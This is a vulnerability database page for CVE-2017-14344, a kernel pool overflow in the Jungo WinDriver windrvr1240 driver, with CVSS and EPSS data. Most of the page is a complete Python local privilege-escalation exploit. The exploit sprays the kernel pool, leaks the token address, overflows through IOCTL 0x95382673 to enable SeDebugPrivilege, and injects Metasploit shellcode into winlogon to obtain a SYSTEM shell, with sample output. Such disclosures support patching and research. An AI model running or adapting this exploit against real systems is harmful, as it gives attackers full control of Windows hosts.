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This vulnerability allows local attackers to escalate privileges on Jungo WinDriver 12.4.0 and earlier. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the processing of IOCTL 0x95382673 by the windrvr1240 kernel driver. The issue lies in the failure to properly validate user-supplied data which can result in a kernel pool overflow. An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel.
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V3.0
7.8
HIGH
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Local
A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.
Attack Complexity
This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
Low
The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.
User Interaction
This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.
Scope
Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.
Unchanged
An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.
Base: Impact Metrics
The Impact metrics refer to the properties of the impacted component.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.
Environmental Metrics
nvd@nist.gov
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
2.57%
–
–
–
–
2021-09-05
–
2.57%
–
–
–
2021-12-19
–
2.57%
–
–
–
2022-01-09
–
2.57%
–
–
–
2022-02-06
–
–
2.11%
–
–
2022-03-20
–
–
2.11%
–
–
2022-04-03
–
–
2.11%
–
–
2022-06-19
–
–
2.11%
–
–
2022-12-25
–
–
2.11%
–
–
2023-01-01
–
–
2.11%
–
–
2023-02-19
–
–
2.11%
–
–
2023-03-12
–
–
–
0.07%
–
2023-11-05
–
–
–
0.07%
–
2023-12-03
–
–
–
0.07%
–
2024-04-14
–
–
–
0.07%
–
2024-06-02
–
–
–
0.07%
–
2024-06-02
–
–
–
0.07%
–
2024-08-25
–
–
–
0.07%
–
2024-11-24
–
–
–
0.07%
–
2025-02-16
–
–
–
0.07%
–
2025-02-23
–
–
–
0.07%
–
2025-03-02
–
–
–
0.07%
–
2025-01-19
–
–
–
0.07%
–
2025-02-16
–
–
–
0.07%
–
2025-02-23
–
–
–
0.07%
–
2025-03-09
–
–
–
0.07%
–
2025-03-18
–
–
–
–
0.14%
2025-04-15
–
–
–
–
0.14%
2025-04-15
–
–
–
–
0.14,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
# -*- coding: utf-8 -*-
"""
Jungo DriverWizard WinDriver Kernel Pool Overflow Vulnerability
Download: http://www.jungo.com/st/products/windriver/
File: WD1240.EXE
Sha1: 3527cc974ec885166f0d96f6aedc8e542bb66cba
Driver: windrvr1240.sys
Sha1: 0f212075d86ef7e859c1941f8e5b9e7a6f2558ad
CVE: CVE-2017-14344
Author: Steven Seeley (mr_me) of Source Incite
Affected: <= v12.4.0
Thanks: @dronesec & @FuzzySec !
Summary:
========
This vulnerability allows local attackers to escalate privileges on vulnerable installations of Jungo WinDriver. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.
The specific flaw exists within the processing of IOCTL 0x95382673 by the windrvr1240 kernel driver. The issue lies in the failure to properly validate user-supplied data which can result in a kernel pool overflow. An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel.
Timeline:
=========
2017-08-22 – Verified and sent to Jungo via sales@/first@/security@/info@jungo.com
2017-08-25 – No response from Jungo and two bounced emails
2017-08-26 – Attempted a follow up with the vendor via website chat
2017-08-26 – No response via the website chat
2017-09-03 – Recieved an email from a Jungo representative stating that they are "looking into it"
2017-09-03 – Requested a timeframe for patch development and warned of possible 0day release
2017-09-06 – No response from Jungo
2017-09-06 – Public 0day release of advisory
Exploitation:
=============
This exploit uses a data only attack via the Quota Process Pointer Overwrite technique. We smash the token's _SEP_TOKEN_PRIVILEGES->Enabled and dec the controlled address by 0x50 (size of the Mutant) to enable SeDebugPrivilege's. Then we inject code into a system process.
Note that this exploit doesn't use any kernel mode shellcode :->
References:
===========
- https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf
- https://github.com/hatRiot/token-priv
Example:
========
C:\Users\user\Desktop>whoami
debugee\user
C:\Users\user\Desktop>poc.py
--[ Jungo DriverWizard WinDriver Kernel Pool Overflow EoP exploit ]
Steven Seeley (mr_me) of Source Incite
(+) attacking WinDrvr1240 for a data only attack...
(+) sprayed the pool!
(+) made the pool holes!
(+) leaked token 0xa15535a0
(+) triggering pool overflow...
(+) allocating pool overflow input buffer
(+) elevating privileges!
(+) got a handle to winlogon! 0x2bd10
(+) allocated shellcode in winlogon @ 0xc0000
(+) WriteProcessMemory returned: 0x1
(+) RtlCreateUserThread returned: 0x0
(+) popped a SYSTEM shell!
C:\Users\user\Desktop>
in another terminal...
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>
"""
from ctypes import *
from ctypes.wintypes import *
import struct, sys, os, time, psutil
from platform import release, architecture
ntdll = windll.ntdll
kernel32 = windll.kernel32
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
STATUS_SUCCESS = 0x0
STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
STATUS_INVALID_HANDLE = 0xC0000008
SystemExtendedHandleInformation = 64
class LSA_UNICODE_STRING(Structure):
"""Represent the LSA_UNICODE_STRING on ntdll."""
_fields_ = [
("Length", USHORT),
("MaximumLength", USHORT),
("Buffer", LPWSTR),
]
class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):
"""Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll."""
_fields_ = [
("Object", c_void_p),
("UniqueProcessId", ULONG),
("HandleValue", ULONG),
("GrantedAccess", ULONG),
("CreatorBackTraceIndex", USHORT),
("ObjectTypeIndex", USHORT),
("HandleAttributes", ULONG),
("Reserved", ULONG),
]
class SYSTEM_HANDLE_INFORMATION_EX(Structure):
"""Represent the SYSTEM_HANDLE_INFORMATION on ntdll."""
_fields_ = [
("NumberOfHandles", ULONG),
("Reserved", ULONG),
("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),
]
class PUBLIC_OBJECT_TYPE_INFORMATION(Structure):
"""Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll."""
_fields_ = [
("Name", LSA_UNICODE_STRING),
("Reserved", ULONG * 22),
]
class PROCESSENTRY32(Structure):
_fields_ = [
("dwSize", c_ulong),
("cntUsage", c_ulong),
("th32ProcessID", c_ulong),
("th32DefaultHeapID", c_int),
("th32ModuleID", c_ulong),
("cntThreads", c_ulong),
("th32ParentProcessID", c_ulong),
("pcPriClassBase", c_long),
("dwFlags", c_ulong),
("szExeFile", c_wchar * MAX_PATH)
]
def signed_to_unsigned(signed):
"""
Convert signed to unsigned integer.
"""
unsigned, = struct.unpack ("L", struct.pack ("l", signed))
return unsigned
def get_type_info(handle):
"""
Get the handle type information to find our sprayed objects.
"""
public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION()
size = DWORD(sizeof(public_object_type_information))
while True:
result = signed_to_unsigned(
ntdll.NtQueryObject(
handle, 2, byref(public_object_type_information), size, None))
if result == STATUS_SUCCESS:
return public_object_type_information.Name.Buffer
elif result == STATUS_INFO_LENGTH_MISMATCH:
size = DWORD(size.value * 4)
resize(public_object_type_information, size.value)
elif result == STATUS_INVALID_HANDLE:
return None
else:
raise x_file_handles("NtQueryObject.2", hex (result))
def get_handles():
"""
Return all the processes handles in the system at the time.
Can be done from LI (Low Integrity) level on Windows 7 x86.
"""
system_handle_information = SYSTEM_HANDLE_INFORMATION_EX()
size = DWORD (sizeof (system_handle_information))
while True:
result = ntdll.NtQuerySystemInformation(
SystemExtendedHandleInformation,
byref(system_handle_information),
size,
byref(size)
)
result = signed_to_unsigned(result)
if result == STATUS_SUCCESS:
break
elif result == STATUS_INFO_LENGTH_MISMATCH:
size = DWORD(size.value * 4)
resize(system_handle_information, size.value)
else:
raise x_file_handles("NtQuerySystemInformation", hex(result))
pHandles = cast(
system_handle_information.Handles,
POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \
system_handle_information.NumberOfHandles)
)
for handle in pHandles.contents:
yield handle.UniqueProcessId, handle.HandleValue, handle.Object
def we_can_spray():
"""
Spray the Kernel Pool with IoCompletionReserve and Event Objects.
The IoCompletionReserve object is 0x60 and Event object is 0x40 bytes in length.
These are allocated from the Nonpaged kernel pool.
"""
handles = []
for i in range(0, 50000):
handles.append(windll.kernel32.CreateMutexA(None, False, None))
# could do with some better validation
if len(handles) > 0:
return True
return False
def alloc_pool_overflow_buffer(base, input_size):
"""
Craft our special buffer to trigger the overflow.
"""
print "(+) allocating pool overflow input buffer"
baseadd = c_int(base)
size = c_int(input_size)
priv = token + 0x40 + 0x8 # Enabled
input = struct.pack("<I", 0x0000001a) # size
input += "\x44" * 0x398 # offset to overflown chunks
# patch
input += struct.pack("<I", 0x040a008c) # _POOL_HEADER
input += struct.pack("<I", 0xe174754d) # _POOL_HEADER
input += "\x44" * 0x20
input += struct.pack("<I", 0x00000000)
input += struct.pack("<I", 0x00000001)
input += "\x44" * 0x20
input += struct.pack("<I", 0x00000001) # set @ecx to 0x1, to write another 0x4 dwords
input += struct.pack("<I", 0x00000000)
input += "\x44" * 8
input += struct.pack("<I", 0x00000001)
input += struct.pack("<I", 0x00000001)
input += "\x44" * 4
input += struct.pack("<I", 0x0008000e) # restore the TypeIndex ;-)
input += struct.pack("<I", priv) # Quota Process Pointer Overwrite
# filler
input += "\x43" * (input_size-len(input))
ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong,
POINTER(c_int), c_int, c_int]
dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0,
byref(size),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
if dwStatus != STATUS_SUCCESS:
print "(-) error while allocating memory: %s" % hex(dwStatus + 0xffffffff)
return False
written = c_ulong()
write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written))
if write == 0:
print "(-) error while writing our input buffer memory: %s" % write
return False
return True
def we_can_trigger_the_pool_overflow():
"""
This triggers the pool overflow vulnerability using a buffer of size 0x460.
"""
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
DEVICE_NAME = "\\\\.\\WinDrvr1240"
dwReturn = c_ulong()
driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
inputbuffer = 0x41414141
inputbuffer_size = 0x5000
outputbuffer_size = 0x5000
outputbuffer = 0x20000000
alloc_pool_overflow_buffer(inputbuffer, inputbuffer_size)
IoStatusBlock = c_ulong()
if driver_handle:
dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle, None, None, None, byref(IoStatusBlock), 0x95382673,
inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size)
return True
return False
def we_can_make_pool_holes():
"""
This makes the pool holes that will coalesce into a hole of size 0x460.
"""
global khandlesd, to_free
mypid = os.getpid()
khandlesd = {}
to_free = []
# leak kernel handles
for pid, handle, obj in get_handles():
# mixed object attack
if pid == mypid and get_type_info(handle) == "Mutant":
khandlesd[obj] = handle
# Find holes and make our allocation
holes = []
for obj in khandlesd.iterkeys():
# obj address is the handle address, but we want to allocation
# address, so we just remove the size of the object header from it.
alloc = obj - 0x30
# Get allocations at beginning of the page
if (alloc & 0xfffff000) == alloc:
bin = []
# object sizes
Mutant_size = 0x50
# we use 0x10 since thats the left over freed chunk from filling the page
offset = Mutant_size + 0x10
for i in range(offset, offset + (0xe * Mutant_size), Mutant_size):
if (obj + i) in khandlesd:
bin.append(khandlesd[obj + i])
# make sure it's contiguously allocated memory
if len(tuple(bin)) == 0xe:
# free the 2nd chunk only
if (obj + i + (Mutant_size * 0x2)) in khandlesd:
to_free.append(khandlesd[obj + i + (Mutant_size * 0x2)])
holes.append(tuple(bin))
# make the holes to fill
for hole in holes:
for handle in hole:
kernel32.CloseHandle(handle)
return True
def we_can_leak_token():
"""
Uses NtQuerySystemInformation to leak the token
"""
global token
hProcess = HANDLE(windll.kernel32.GetCurrentProcess())
hToken = HANDLE()
TOKEN_ALL_ACCESS = 0xf00ff
windll.advapi32.OpenProcessToken(hProcess,TOKEN_ALL_ACCESS, byref(hToken))
for pid, handle, obj in get_handles():
if pid==os.getpid() and get_type_info(handle) == "Token":
token = obj
return True
return False
def trigger_lpe():
"""
This function frees the Mutant objects and this triggers the
usage of the Quota Process Pointer, dec'ing by 0x50, avoiding OkayToCloseProcedure.
"""
# we dont know where the free chunk is, we just know its in one of the pages
# full of Mutants and that its the 2nd chunk after the overflowed buffer. Good enough.
for v in to_free:
kernel32.CloseHandle(v)
def get_winlogin_pid():
"""
Just gets winlogon pid. Get whateva system pid you want
"""
for proc in psutil.process_iter():
if proc.name() == "winlogon.exe":
return proc.pid
return 0
def we_can_inject():
"""
Now that we have the SeDebugPrivilege, we can inject into a system process.
I choose winlogon because you get the bonus GUI.
"""
page_rwx_value = 0x40
process_all = 0x1f0fff
memcommit = 0x00001000
hThread = HANDLE()
# get a handle to the process
pHandle = windll.kernel32.OpenProcess(process_all, False, get_winlogin_pid())
if pHandle == 0:
return False
print "(+) got a handle to winlogon! 0x%x" % pHandle
# metasploit windows/exec CMD=cmd.exe EXITFUNC=Thread
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
buf += "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d"
buf += "\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
buf += "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
buf += "\xff\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00"
# allocate some memory in the process
fPointer = windll.kernel32.VirtualAllocEx(pHandle, 0, len(buf), memcommit, page_rwx_value)
print "(+) allocated shellcode in winlogon @ 0x%x" % fPointer
# write the shellcode to the memory
res = windll.kernel32.WriteProcessMemory(pHandle, fPointer, buf, len(buf), 0)
print "(+) WriteProcessMemory returned: 0x%x" % res
# create a new thread that starts execution at that code location
res = windll.ntdll.RtlCreateUserThread(pHandle, None, 0, 0, 0, 0, fPointer, 0, byref(hThread), 0)
print "(+) RtlCreateUserThread returned: 0x%x" % res
return True
def main():
print "\n\t--[ Jungo DriverWizard WinDriver Kernel Pool Overflow EoP exploit ]"
print "\t Steven Seeley (mr_me) of Source Incite\r\n"
if release() != "7" or architecture()[0] != "32bit":
print "(-) although this exploit may work on this system,"
print " it was only designed for Windows 7 x86."
sys.exit(-1)
print "(+) attacking WinDrvr1240 for a data only attack..."
if we_can_spray():
print "(+) sprayed the pool!"
if we_can_make_pool_holes():
print "(+) made the pool holes!"
if we_can_leak_token():
print "(+) leaked token 0x%x" % token
print "(+) triggering pool overflow..."
if we_can_trigger_the_pool_overflow():
print "(+) elevating privileges!"
trigger_lpe()
if we_can_inject():
print "(+) popped a SYSTEM shell!"
if __name__ == '__main__':
main()